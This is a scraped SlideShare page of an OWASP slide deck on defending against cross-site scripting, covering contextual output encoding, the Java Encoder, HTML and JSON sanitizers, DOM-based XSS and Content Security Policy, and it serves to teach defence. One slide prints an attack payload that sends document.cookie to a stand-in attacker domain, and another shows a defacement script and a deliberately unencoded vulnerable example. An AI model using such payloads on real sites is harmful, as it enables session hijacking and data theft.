SlideShare a Scribd company logo
The OWASP Foundation
http://www.owasp.org
Cross Site Scripting
JavaScript Injection
Contextual Output Encoding
The OWASP Foundation
http://www.owasp.org
The OWASP Foundation
http://www.owasp.org
The OWASP Foundation
http://www.owasp.org
Encoding
Output
Safe ways to represent dangerous characters in a web page
Characters Decimal Hexadecimal
HTML
Character Set
Unicode
" (double
quotation
marks)
" " " u0022
' (single
quotation
mark)
' ' ' u0027
& (ampersand) & & & u0026
< (less than) &#60; &#x3C; &lt; u003c
> (greater
than)
&#62; &#x3E; &gt; u003e
The OWASP Foundation
http://www.owasp.org
XSS Attack
Payloads
– Session Hijacking
– Site Defacement
– Network Scanning
– Undermining CSRF Defenses
– Site Redirection/Phishing
– Load of Remotely Hosted Scripts
– Data Theft
– Keystroke Logging
– Attackers using XSS more frequently
The OWASP Foundation
http://www.owasp.org
<script>window.location=β€˜https://evilev
iljim.com/unc/data=β€˜ +
document.cookie;</script>
<script>document.body.innerHTML=β€˜<blink
>EOIN IS COOL</blink>’;</script>
Anatomy of a XSS Attack
The OWASP Foundation
http://www.owasp.org
XSS Defense by Data
Type and Context
Data Type Context Defense
String HTML Body HTML Entity Encode
String HTML Attribute Minimal Attribute Encoding
String GET Parameter URL Encoding
String Untrusted URL URL Validation, avoid javascript:
URLs, Attribute encoding, safe
URL verification
String CSS Strict structural validation, CSS
Hex encoding, good design
HTML HTML Body HTML Validation (JSoup,
AntiSamy, HTML Sanitizer)
Any DOM DOM XSS Cheat Sheet
Untrusted JavaScript Any Sandboxing
JSON Client Parse Time JSON.parse() or json2.js
Safe HTML Attributes include: align, alink, alt, bgcolor, border, cellpadding, cellspacing,
class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight,
marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan,
scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width
The OWASP Foundation
http://www.owasp.org
OWASP Java Encoder Project
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project
β€’ No third party libraries or configuration necessary.
β€’ This code was designed for high-availability/high-
performance encoding functionality.
β€’ Simple drop-in encoding functionality
β€’ Redesigned for performance
β€’ More complete API (uri and uri component encoding, etc)
in some regards.
β€’ This is a Java 1.5 project.
β€’ Will be the default encoder in the next revision of ESAPI.
β€’ Last updated February 14, 2013 (version 1.1)
The OWASP Foundation
http://www.owasp.org
The Problem
Web Page built in Java JSP is vulnerable to XSS
The Solution
<%-- Basic HTML Context --%>
<body><b><%= Encode.forHtml(UNTRUSTED) %>" /></b></body>
<%-- HTML Attribute Context --%>
<input type="text" name="data" value="<%= Encode.forHtmlAttribute(UNTRUSTED) %>" />
<%-- Javascript Block context --%>
<script type="text/javascript">
var msg = "<%= Encode.forJavaScriptBlock(UNTRUSTED) %>"; alert(msg);
</script>
<%-- Javascript Variable context --%>
<button onclick="alert('<%= Encode.forJavaScriptAttribute(UNTRUSTED) %>');">click
me</button>
The OWASP Foundation
http://www.owasp.org
<b><%= Encode.forHtml(UNTRUSTED)%></b>
<p>Title:<%= Encode.forHtml(UNTRUSTED)%></p>
<textarea name="text">
<%= Encode.forHtmlContent(UNTRUSTED) %>
</textarea>
The OWASP Foundation
http://www.owasp.org
<input type="text" name="data"
value="<%= Encode.forHtmlAttribute(UNTRUSTED) %>" />
<input type="text" name="data"
value=<%= Encode.forHtmlUnquotedAttribute(UNTRUSTED) %> />
The OWASP Foundation
http://www.owasp.org
<%-- Encode URL parameter values --%>
<a href="/search?value=
<%=Encode.forUriComponent(parameterValue)%>&order=1#top">
<%-- Encode REST URL parameters --%>
<a href="http://www.codemagi.com/page/
<%=Encode.forUriComponent(restUrlParameter)%>">
The OWASP Foundation
http://www.owasp.org
<a href="<%= Encode.forHTMLAttribute(untrustedURL) %>">
Encode.forHtmlContext(untrustedURL)
</a>
The OWASP Foundation
http://www.owasp.org
<button
onclick="alert('<%= Encode.forJavaScript(alertMsg) %>');">
click me</button>
<button
onclick="alert('<%=
Encode.forJavaScriptAttribute(alertMsg) %>');">click
me</button>
<script type="text/javascript”>
var msg = "<%= Encode.forJavaScriptBlock(alertMsg) %>";
alert(msg);
</script>
The OWASP Foundation
http://www.owasp.org
<div
style="background: url('<%=Encode.forCssUrl(value)%>');">
<style type="text/css">
background-color:'<%=Encode.forCssString(value)%>';
</style>
The OWASP Foundation
http://www.owasp.org
Other Encoding Libraries
Ruby on Rails
http://api.rubyonrails.org/classes/ERB/Util.html
Reform Project
Java, .NET v1/v2, PHP, Python, Perl, JavaScript, Classic ASP
https://www.owasp.org/index.php/Category:OWASP_Encoding_Project
ESAPI
PHP.NET, Python, Classic ASP, Cold Fusion
https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_
API
.NET AntiXSS Library
http://wpl.codeplex.com/releases/view/80289
The OWASP Foundation
http://www.owasp.org
Nested Contexts Best to avoid:
an element attribute calling a Javascript function etc - parsing chains
<div
onclick="showError('<%=request.getParameter("errorxyz")
%>')" >An error occurred ....</div>
Here we have a HTML attribute(onClick) and within a
nested Javascript function call (showError).
Parsing order:
1: HTML decode the contents of the onclick attribute.
2: When onClick is selected: Javascript Parsing of showError
So we have 2 contexts here...HTML and Javascript (2 browser
parsers).
The OWASP Foundation
http://www.owasp.org
We need to apply "layered" encoding in the RIGHT
order:
1) JavaScript encode
2) HTML Attribute Encode so it "unwinds" properly
and is not vulnerable.
<div onclick="showError ('<%=
Encoder.encodeForHtml(Encoder.encodeForJ
avaScript(
request.getParameter("error")%>')))" >An
error occurred ....</div>
The OWASP Foundation
http://www.owasp.org
OWASP HTML Sanitizer Project
https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project
β€’ HTML Sanitizer written in Java which lets you include HTML authored by
third-parties in your web application while protecting against XSS.
β€’ This code was written with security best practices in mind, has an
extensive test suite, and has undergone adversarial security review
https://code.google.com/p/owasp-java-html-
sanitizer/wiki/AttackReviewGroundRules.
β€’ Very easy to use.
β€’ It allows for simple programmatic POSITIVE policy configuration (see
below). No XML config.
β€’ Actively maintained by Mike Samuel from Google's AppSec team!
β€’ This is code from the Caja project that was donated by Google. It is
rather high performance and low memory utilization.
The OWASP Foundation
http://www.owasp.org
The OWASP Foundation
http://www.owasp.org
Solving Real World Problems with the OWASP
HTML Sanitizer Project
The Problem
Web Page is vulnerable to XSS because of untrusted HTML
The Solution
PolicyFactory policy = new HtmlPolicyBuilder()
.allowElements("a")
.allowUrlProtocols("https")
.allowAttributes("href").onElements("a")
.requireRelNofollowOnLinks()
.build();
String safeHTML = policy.sanitize(untrustedHTML);
The OWASP Foundation
http://www.owasp.org
OWASP JSON Sanitizer Project
https://www.owasp.org/index.php/OWASP_JSON_Sanitizer
β€’ Given JSON-like content, converts it to valid JSON.
β€’ This can be attached at either end of a data-pipeline to help
satisfy Postel's principle: Be conservative in what you do, be
liberal in what you accept from others.
β€’ Applied to JSON-like content from others, it will produce
well-formed JSON that should satisfy any parser you use.
β€’ Applied to your output before you send, it will coerce minor
mistakes in encoding and make it easier to embed your
JSON in HTML and XML.
The OWASP Foundation
http://www.owasp.org
Solving Real World Problems with the OWASP
JSON Sanitizer Project
The Problem
Web Page is vulnerable to XSS because of parsing of untrusted JSON incorrectly
The Solution
JSON Sanitizer can help with two use cases.
1) Sanitizing untrusted JSON on the server that is submitted from the browser in
standard AJAX communication
2) Sanitizing potentially untrusted JSON server-side before sending it to the browser.
The output is a valid Javascript expression, so can be parsed by Javascript's eval
or by JSON.parse.
The OWASP Foundation
http://www.owasp.org
DOM-Based XSS Defense
β€’ Untrusted data should only be treated as displayable text
β€’ JavaScript encode and delimit untrusted data as quoted strings
β€’ Use safe API’s like document.createElement("…"),
element.setAttribute("…","value"), element.appendChild(…) and
$(β€˜#element’).text(…); to build dynamic interfaces
β€’ Avoid use of HTML rendering methods
β€’ Avoid sending any untrusted data to the JS methods that have a
code execution context likeeval(..), setTimeout(..), onclick(..),
onblur(..).
The OWASP Foundation
http://www.owasp.org
 SAFE use of JQuery
 $(β€˜#element’).text(UNTRUSTED DATA);
UNSAFE use of JQuery
$(β€˜#element’).html(UNTRUSTED DATA);
The OWASP Foundation
http://www.owasp.org
26
jQuery methods that directly update DOM or can execute
JavaScript
$() or jQuery() .attr()
.add() .css()
.after() .html()
.animate() .insertAfter()
.append() .insertBefore()
.appendTo() Note: .text() updates DOM, but
is safe.
Dangerous jQuery 1.7.2 Data Types
CSS Some Attribute Settings
HTML URL (Potential Redirect)
jQuery methods that accept URLs to potentially unsafe content
jQuery.ajax() jQuery.post()
jQuery.get() load()
jQuery.getScript()
The OWASP Foundation
http://www.owasp.org
 Contextual encoding is a crucial technique needed to stop all
types of XSS
 jqencoder is a jQuery plugin that allows developers to do
contextual encoding in JavaScript to stop DOM-based XSS
 http://plugins.jquery.com/plugin-
tags/security
 $('#element').encode('html', cdata);
JQuery Encoding with
JQencoder
The OWASP Foundation
http://www.owasp.org
Content Security Policy
β€’ Anti-XSS W3C standard
β€’ Content Security Policy latest release version
β€’ http://www.w3.org/TR/CSP/
β€’ Must move all inline script and style into external scripts
β€’ Add the X-Content-Security-Policy response header to
instruct the browser that CSP is in use
- Firefox/IE10PR: X-Content-Security-Policy
- Chrome Experimental: X-WebKit-CSP
- Content-Security-Policy-Report-Only
β€’ Define a policy for the site regarding loading of content
The OWASP Foundation
http://www.owasp.org
Get rid of XSS, eh?
A script-src directive that doesnβ€˜t contain β€˜unsafe-inline’
eliminates a huge class of cross site scripting
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
The OWASP Foundation
http://www.owasp.org
Real world CSP in action
The OWASP Foundation
http://www.owasp.org
What does this report look like?
{
"csp-report"=> {
"document-uri"=>"http://localhost:3000/home",
"referrer"=>"",
"blocked-uri"=>"ws://localhost:35729/livereload",
"violated-directive"=>"xhr-src ws://localhost.twitter.com:*"
}
}
The OWASP Foundation
http://www.owasp.org
{
"csp-report"=> {
"document-uri"=>"http://example.com/welcome",
"referrer"=>"",
"blocked-uri"=>"self",
"violated-directive"=>"inline script base restriction",
"source-file"=>"http://example.com/welcome",
"script-sample"=>"alert(1)",
"line-number"=>81
}
}
What does this report look like?

More Related Content

PPT
Top Ten Web Application Defenses v12
PPTX
Cross Site Scripting (XSS) Defense with Java
PDF
Development Security Framework based on Owasp Esapi for JSF2.0
PPTX
Top Ten Java Defense for Web Applications v2
PPTX
JSON SQL Injection and the Lessons Learned
PDF
New Methods in Automated XSS Detection & Dynamic Exploit Creation
PPT
XSS - Attacks & Defense
PPTX
Case Study of Django: Web Frameworks that are Secure by Default
Top Ten Web Application Defenses v12
Cross Site Scripting (XSS) Defense with Java
Development Security Framework based on Owasp Esapi for JSF2.0
Top Ten Java Defense for Web Applications v2
JSON SQL Injection and the Lessons Learned
New Methods in Automated XSS Detection & Dynamic Exploit Creation
XSS - Attacks & Defense
Case Study of Django: Web Frameworks that are Secure by Default

What's hot (20)

PPTX
Django Web Application Security
PPTX
Access Control Pitfalls v2
PDF
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
PDF
ng-owasp: OWASP Top 10 for AngularJS Applications
PPTX
OWASP Top 10 vs Drupal - OWASP Benelux 2012
PPTX
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
PDF
Java EE Web Security By Example: Frank Kim
PPTX
Building Secure User Interfaces With JWTs
PPTX
W3 conf hill-html5-security-realities
PDF
Application Security around OWASP Top 10
PPTX
Avoiding Cross Site Scripting - Not as easy as you might think
PPTX
Web application Security
Β 
PDF
Secure java script-for-developers
PDF
XSSmon: A Perl Based IDS for the Detection of Potential XSS Attacks
PDF
Intro to Php Security
PPTX
Ten Commandments of Secure Coding
PPT
PDF
Applications secure by default
PDF
Writing Secure Code for WordPress
PPTX
JWT Authentication with AngularJS
Django Web Application Security
Access Control Pitfalls v2
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
ng-owasp: OWASP Top 10 for AngularJS Applications
OWASP Top 10 vs Drupal - OWASP Benelux 2012
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
Java EE Web Security By Example: Frank Kim
Building Secure User Interfaces With JWTs
W3 conf hill-html5-security-realities
Application Security around OWASP Top 10
Avoiding Cross Site Scripting - Not as easy as you might think
Web application Security
Β 
Secure java script-for-developers
XSSmon: A Perl Based IDS for the Detection of Potential XSS Attacks
Intro to Php Security
Ten Commandments of Secure Coding
Applications secure by default
Writing Secure Code for WordPress
JWT Authentication with AngularJS
Ad

Similar to XSS Defence with @manicode and @eoinkeary (20)

PPTX
Web Application Defences
PPTX
15 owasp top 10 - a3-xss
Β 
PPTX
Cross Site Scripting (XSS)
PPTX
04. xss and encoding
PPT
Securing Java EE Web Apps
PDF
Modern Web Application Defense
PDF
Bypass SOP, Theft Your Data - XSS Allstars from Japan / OWASP AppSec APAC 2014
PPTX
OWASP_Top_Ten_Proactive_Controls version 2
PPTX
OWASP_Top_Ten_Proactive_Controls_v2.pptx
Β 
PPTX
OWASP_Top_Ten_Proactive_Controls_v2.pptx
PDF
Slides
Β 
PPTX
OWASP_Top_Ten_Proactive_Controls_v2.pptx
PDF
Packing it all: JavaScript module bundling from 2000 to now
PDF
Webpack packing it all
PDF
α„Œα…‘α„‡α…‘ α„‹α…°α†Έ ᄀᅒᄇᅑᆯ α„‰α…΅α„Œα…‘α†¨α„’α…‘α„€α…΅ (1μ£Όμ°¨ : μ›Ή μ–΄ν”Œλ¦¬μΌ€μ΄μ…˜ μ²΄ν—˜ μ‹€μŠ΅)
Β 
PPTX
OWASP_Top_Ten_Proactive_Controls_v32.pptx
KEY
DVWA BruCON Workshop
PPTX
PPTX
20160211 OWASP Charlotte RASP
KEY
Application Security for RIAs
Web Application Defences
15 owasp top 10 - a3-xss
Β 
Cross Site Scripting (XSS)
04. xss and encoding
Securing Java EE Web Apps
Modern Web Application Defense
Bypass SOP, Theft Your Data - XSS Allstars from Japan / OWASP AppSec APAC 2014
OWASP_Top_Ten_Proactive_Controls version 2
OWASP_Top_Ten_Proactive_Controls_v2.pptx
Β 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
Slides
Β 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
Packing it all: JavaScript module bundling from 2000 to now
Webpack packing it all
α„Œα…‘α„‡α…‘ α„‹α…°α†Έ ᄀᅒᄇᅑᆯ α„‰α…΅α„Œα…‘α†¨α„’α…‘α„€α…΅ (1μ£Όμ°¨ : μ›Ή μ–΄ν”Œλ¦¬μΌ€μ΄μ…˜ μ²΄ν—˜ μ‹€μŠ΅)
Β 
OWASP_Top_Ten_Proactive_Controls_v32.pptx
DVWA BruCON Workshop
20160211 OWASP Charlotte RASP
Application Security for RIAs
Ad

More from Eoin Keary (20)

PPTX
IISF-March2023.pptx
PDF
Validation of vulnerabilities.pdf
PDF
Does a Hybrid model for vulnerability Management Make Sense.pdf
PDF
Edgescan 2022 Vulnerability Statistics Report
PPTX
Edgescan 2021 Vulnerability Stats Report
PPTX
One login enemy at the gates
PDF
Edgescan vulnerability stats report 2020
PDF
edgescan vulnerability stats report (2018)
PDF
edgescan vulnerability stats report (2019)
PPTX
Full stack vulnerability management at scale
PPTX
Vulnerability Intelligence - Standing Still in a world full of change
PPTX
Edgescan vulnerability stats report 2019 - h-isac-2-2-2019
PPTX
Hide and seek - Attack Surface Management and continuous assessment.
PPTX
Online Gaming Cyber security and Threat Model
PPTX
Keeping the wolf from 1000 doors.
PPTX
Security by the numbers
PPTX
Web security – everything we know is wrong cloud version
PPTX
Cybersecurity by the numbers
PPTX
Ebu class edgescan-2017
PPTX
Vulnerability management and threat detection by the numbers
IISF-March2023.pptx
Validation of vulnerabilities.pdf
Does a Hybrid model for vulnerability Management Make Sense.pdf
Edgescan 2022 Vulnerability Statistics Report
Edgescan 2021 Vulnerability Stats Report
One login enemy at the gates
Edgescan vulnerability stats report 2020
edgescan vulnerability stats report (2018)
edgescan vulnerability stats report (2019)
Full stack vulnerability management at scale
Vulnerability Intelligence - Standing Still in a world full of change
Edgescan vulnerability stats report 2019 - h-isac-2-2-2019
Hide and seek - Attack Surface Management and continuous assessment.
Online Gaming Cyber security and Threat Model
Keeping the wolf from 1000 doors.
Security by the numbers
Web security – everything we know is wrong cloud version
Cybersecurity by the numbers
Ebu class edgescan-2017
Vulnerability management and threat detection by the numbers

Recently uploaded (20)

PDF
Cloud-Scale Log Monitoring _ Datadog.pdf
PPTX
Funds Management Learning Material for Beg
PDF
The Internet -By the Numbers, Sri Lanka Edition
Β 
PPTX
Module 1 - Cyber Law and Ethics 101.pptx
PPTX
Introuction about ICD -10 and ICD-11 PPT.pptx
PPTX
presentation_pfe-universite-molay-seltan.pptx
PPTX
Job_Card_System_Styled_lorem_ipsum_.pptx
PDF
πŸ’° π”πŠπ“πˆ πŠπ„πŒπ„ππ€ππ†π€π πŠπˆππ„π‘πŸ’πƒ π‡π€π‘πˆ 𝐈𝐍𝐈 πŸπŸŽπŸπŸ“ πŸ’°
Β 
PPT
tcp ip networks nd ip layering assotred slides
PPTX
SAP Ariba Sourcing PPT for learning material
PPTX
international classification of diseases ICD-10 review PPT.pptx
PPTX
innovation process that make everything different.pptx
PDF
Tenda Login Guide: Access Your Router in 5 Easy Steps
PPTX
Introuction about WHO-FIC in ICD-10.pptx
PDF
An introduction to the IFRS (ISSB) Stndards.pdf
PDF
Unit-1 introduction to cyber security discuss about how to secure a system
PDF
Slides PDF The World Game (s) Eco Economic Epochs.pdf
PDF
Decoding a Decade: 10 Years of Applied CTI Discipline
PDF
Paper PDF World Game (s) Great Redesign.pdf
PPTX
Introduction to Information and Communication Technology
Cloud-Scale Log Monitoring _ Datadog.pdf
Funds Management Learning Material for Beg
The Internet -By the Numbers, Sri Lanka Edition
Β 
Module 1 - Cyber Law and Ethics 101.pptx
Introuction about ICD -10 and ICD-11 PPT.pptx
presentation_pfe-universite-molay-seltan.pptx
Job_Card_System_Styled_lorem_ipsum_.pptx
πŸ’° π”πŠπ“πˆ πŠπ„πŒπ„ππ€ππ†π€π πŠπˆππ„π‘πŸ’πƒ π‡π€π‘πˆ 𝐈𝐍𝐈 πŸπŸŽπŸπŸ“ πŸ’°
Β 
tcp ip networks nd ip layering assotred slides
SAP Ariba Sourcing PPT for learning material
international classification of diseases ICD-10 review PPT.pptx
innovation process that make everything different.pptx
Tenda Login Guide: Access Your Router in 5 Easy Steps
Introuction about WHO-FIC in ICD-10.pptx
An introduction to the IFRS (ISSB) Stndards.pdf
Unit-1 introduction to cyber security discuss about how to secure a system
Slides PDF The World Game (s) Eco Economic Epochs.pdf
Decoding a Decade: 10 Years of Applied CTI Discipline
Paper PDF World Game (s) Great Redesign.pdf
Introduction to Information and Communication Technology

XSS Defence with @manicode and @eoinkeary

  • 1. The OWASP Foundation http://www.owasp.org Cross Site Scripting JavaScript Injection Contextual Output Encoding
  • 4. The OWASP Foundation http://www.owasp.org Encoding Output Safe ways to represent dangerous characters in a web page Characters Decimal Hexadecimal HTML Character Set Unicode " (double quotation marks) &#34; &#x22; &quot; u0022 ' (single quotation mark) &#39; &#x27; &apos; u0027 & (ampersand) &#38; &#x26; &amp; u0026 < (less than) &#60; &#x3C; &lt; u003c > (greater than) &#62; &#x3E; &gt; u003e
  • 5. The OWASP Foundation http://www.owasp.org XSS Attack Payloads – Session Hijacking – Site Defacement – Network Scanning – Undermining CSRF Defenses – Site Redirection/Phishing – Load of Remotely Hosted Scripts – Data Theft – Keystroke Logging – Attackers using XSS more frequently
  • 6. The OWASP Foundation http://www.owasp.org <script>window.location=β€˜https://evilev iljim.com/unc/data=β€˜ + document.cookie;</script> <script>document.body.innerHTML=β€˜<blink >EOIN IS COOL</blink>’;</script> Anatomy of a XSS Attack
  • 7. The OWASP Foundation http://www.owasp.org XSS Defense by Data Type and Context Data Type Context Defense String HTML Body HTML Entity Encode String HTML Attribute Minimal Attribute Encoding String GET Parameter URL Encoding String Untrusted URL URL Validation, avoid javascript: URLs, Attribute encoding, safe URL verification String CSS Strict structural validation, CSS Hex encoding, good design HTML HTML Body HTML Validation (JSoup, AntiSamy, HTML Sanitizer) Any DOM DOM XSS Cheat Sheet Untrusted JavaScript Any Sandboxing JSON Client Parse Time JSON.parse() or json2.js Safe HTML Attributes include: align, alink, alt, bgcolor, border, cellpadding, cellspacing, class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight, marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan, scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width
  • 8. The OWASP Foundation http://www.owasp.org OWASP Java Encoder Project https://www.owasp.org/index.php/OWASP_Java_Encoder_Project β€’ No third party libraries or configuration necessary. β€’ This code was designed for high-availability/high- performance encoding functionality. β€’ Simple drop-in encoding functionality β€’ Redesigned for performance β€’ More complete API (uri and uri component encoding, etc) in some regards. β€’ This is a Java 1.5 project. β€’ Will be the default encoder in the next revision of ESAPI. β€’ Last updated February 14, 2013 (version 1.1)
  • 9. The OWASP Foundation http://www.owasp.org The Problem Web Page built in Java JSP is vulnerable to XSS The Solution <%-- Basic HTML Context --%> <body><b><%= Encode.forHtml(UNTRUSTED) %>" /></b></body> <%-- HTML Attribute Context --%> <input type="text" name="data" value="<%= Encode.forHtmlAttribute(UNTRUSTED) %>" /> <%-- Javascript Block context --%> <script type="text/javascript"> var msg = "<%= Encode.forJavaScriptBlock(UNTRUSTED) %>"; alert(msg); </script> <%-- Javascript Variable context --%> <button onclick="alert('<%= Encode.forJavaScriptAttribute(UNTRUSTED) %>');">click me</button>
  • 10. The OWASP Foundation http://www.owasp.org <b><%= Encode.forHtml(UNTRUSTED)%></b> <p>Title:<%= Encode.forHtml(UNTRUSTED)%></p> <textarea name="text"> <%= Encode.forHtmlContent(UNTRUSTED) %> </textarea>
  • 11. The OWASP Foundation http://www.owasp.org <input type="text" name="data" value="<%= Encode.forHtmlAttribute(UNTRUSTED) %>" /> <input type="text" name="data" value=<%= Encode.forHtmlUnquotedAttribute(UNTRUSTED) %> />
  • 12. The OWASP Foundation http://www.owasp.org <%-- Encode URL parameter values --%> <a href="/search?value= <%=Encode.forUriComponent(parameterValue)%>&order=1#top"> <%-- Encode REST URL parameters --%> <a href="http://www.codemagi.com/page/ <%=Encode.forUriComponent(restUrlParameter)%>">
  • 13. The OWASP Foundation http://www.owasp.org <a href="<%= Encode.forHTMLAttribute(untrustedURL) %>"> Encode.forHtmlContext(untrustedURL) </a>
  • 14. The OWASP Foundation http://www.owasp.org <button onclick="alert('<%= Encode.forJavaScript(alertMsg) %>');"> click me</button> <button onclick="alert('<%= Encode.forJavaScriptAttribute(alertMsg) %>');">click me</button> <script type="text/javascript”> var msg = "<%= Encode.forJavaScriptBlock(alertMsg) %>"; alert(msg); </script>
  • 15. The OWASP Foundation http://www.owasp.org <div style="background: url('<%=Encode.forCssUrl(value)%>');"> <style type="text/css"> background-color:'<%=Encode.forCssString(value)%>'; </style>
  • 16. The OWASP Foundation http://www.owasp.org Other Encoding Libraries Ruby on Rails http://api.rubyonrails.org/classes/ERB/Util.html Reform Project Java, .NET v1/v2, PHP, Python, Perl, JavaScript, Classic ASP https://www.owasp.org/index.php/Category:OWASP_Encoding_Project ESAPI PHP.NET, Python, Classic ASP, Cold Fusion https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_ API .NET AntiXSS Library http://wpl.codeplex.com/releases/view/80289
  • 17. The OWASP Foundation http://www.owasp.org Nested Contexts Best to avoid: an element attribute calling a Javascript function etc - parsing chains <div onclick="showError('<%=request.getParameter("errorxyz") %>')" >An error occurred ....</div> Here we have a HTML attribute(onClick) and within a nested Javascript function call (showError). Parsing order: 1: HTML decode the contents of the onclick attribute. 2: When onClick is selected: Javascript Parsing of showError So we have 2 contexts here...HTML and Javascript (2 browser parsers).
  • 18. The OWASP Foundation http://www.owasp.org We need to apply "layered" encoding in the RIGHT order: 1) JavaScript encode 2) HTML Attribute Encode so it "unwinds" properly and is not vulnerable. <div onclick="showError ('<%= Encoder.encodeForHtml(Encoder.encodeForJ avaScript( request.getParameter("error")%>')))" >An error occurred ....</div>
  • 19. The OWASP Foundation http://www.owasp.org OWASP HTML Sanitizer Project https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project β€’ HTML Sanitizer written in Java which lets you include HTML authored by third-parties in your web application while protecting against XSS. β€’ This code was written with security best practices in mind, has an extensive test suite, and has undergone adversarial security review https://code.google.com/p/owasp-java-html- sanitizer/wiki/AttackReviewGroundRules. β€’ Very easy to use. β€’ It allows for simple programmatic POSITIVE policy configuration (see below). No XML config. β€’ Actively maintained by Mike Samuel from Google's AppSec team! β€’ This is code from the Caja project that was donated by Google. It is rather high performance and low memory utilization.
  • 21. The OWASP Foundation http://www.owasp.org Solving Real World Problems with the OWASP HTML Sanitizer Project The Problem Web Page is vulnerable to XSS because of untrusted HTML The Solution PolicyFactory policy = new HtmlPolicyBuilder() .allowElements("a") .allowUrlProtocols("https") .allowAttributes("href").onElements("a") .requireRelNofollowOnLinks() .build(); String safeHTML = policy.sanitize(untrustedHTML);
  • 22. The OWASP Foundation http://www.owasp.org OWASP JSON Sanitizer Project https://www.owasp.org/index.php/OWASP_JSON_Sanitizer β€’ Given JSON-like content, converts it to valid JSON. β€’ This can be attached at either end of a data-pipeline to help satisfy Postel's principle: Be conservative in what you do, be liberal in what you accept from others. β€’ Applied to JSON-like content from others, it will produce well-formed JSON that should satisfy any parser you use. β€’ Applied to your output before you send, it will coerce minor mistakes in encoding and make it easier to embed your JSON in HTML and XML.
  • 23. The OWASP Foundation http://www.owasp.org Solving Real World Problems with the OWASP JSON Sanitizer Project The Problem Web Page is vulnerable to XSS because of parsing of untrusted JSON incorrectly The Solution JSON Sanitizer can help with two use cases. 1) Sanitizing untrusted JSON on the server that is submitted from the browser in standard AJAX communication 2) Sanitizing potentially untrusted JSON server-side before sending it to the browser. The output is a valid Javascript expression, so can be parsed by Javascript's eval or by JSON.parse.
  • 24. The OWASP Foundation http://www.owasp.org DOM-Based XSS Defense β€’ Untrusted data should only be treated as displayable text β€’ JavaScript encode and delimit untrusted data as quoted strings β€’ Use safe API’s like document.createElement("…"), element.setAttribute("…","value"), element.appendChild(…) and $(β€˜#element’).text(…); to build dynamic interfaces β€’ Avoid use of HTML rendering methods β€’ Avoid sending any untrusted data to the JS methods that have a code execution context likeeval(..), setTimeout(..), onclick(..), onblur(..).
  • 25. The OWASP Foundation http://www.owasp.org  SAFE use of JQuery  $(β€˜#element’).text(UNTRUSTED DATA); UNSAFE use of JQuery $(β€˜#element’).html(UNTRUSTED DATA);
  • 26. The OWASP Foundation http://www.owasp.org 26 jQuery methods that directly update DOM or can execute JavaScript $() or jQuery() .attr() .add() .css() .after() .html() .animate() .insertAfter() .append() .insertBefore() .appendTo() Note: .text() updates DOM, but is safe. Dangerous jQuery 1.7.2 Data Types CSS Some Attribute Settings HTML URL (Potential Redirect) jQuery methods that accept URLs to potentially unsafe content jQuery.ajax() jQuery.post() jQuery.get() load() jQuery.getScript()
  • 27. The OWASP Foundation http://www.owasp.org  Contextual encoding is a crucial technique needed to stop all types of XSS  jqencoder is a jQuery plugin that allows developers to do contextual encoding in JavaScript to stop DOM-based XSS  http://plugins.jquery.com/plugin- tags/security  $('#element').encode('html', cdata); JQuery Encoding with JQencoder
